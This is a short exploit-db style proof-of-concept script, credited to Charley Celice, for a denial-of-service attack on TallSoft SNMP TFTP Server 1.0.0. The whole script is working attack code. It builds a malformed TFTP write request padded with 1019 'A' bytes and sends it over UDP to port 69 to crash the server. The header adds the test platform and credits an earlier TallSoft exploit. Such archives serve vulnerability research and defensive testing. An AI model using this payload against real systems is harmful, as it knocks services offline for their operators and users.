# Exploit Title: TallSoft SNMP TFTP Server 1.0.0 - DoS
# Date: 28-03-2016
# Software Link: https://www.tallsoft.com/snmp_tftpserver.exe
# Exploit Author: Charley Celice (stmerry)
# Contact: https://twitter.com/charleycelice
#
# Credits: Based off TallSoft Quick TFTP Server 2.2 DoS
# * https://www.exploit-db.com/exploits/26010/
#
# Category: Denial of Service
# Tested on: Windows XP SP3 English
# Details: Remotely crash TallSoft SNMP TFTP Server
 
from socket import *
import sys, select
 
address = ('127.0.0.1', 69)
 
# sufficient for the crash to work
crash = "\x00\x02\x00"
crash += "\x41"*1019
  
server_socket = socket(AF_INET, SOCK_DGRAM)
server_socket.sendto(crash, address)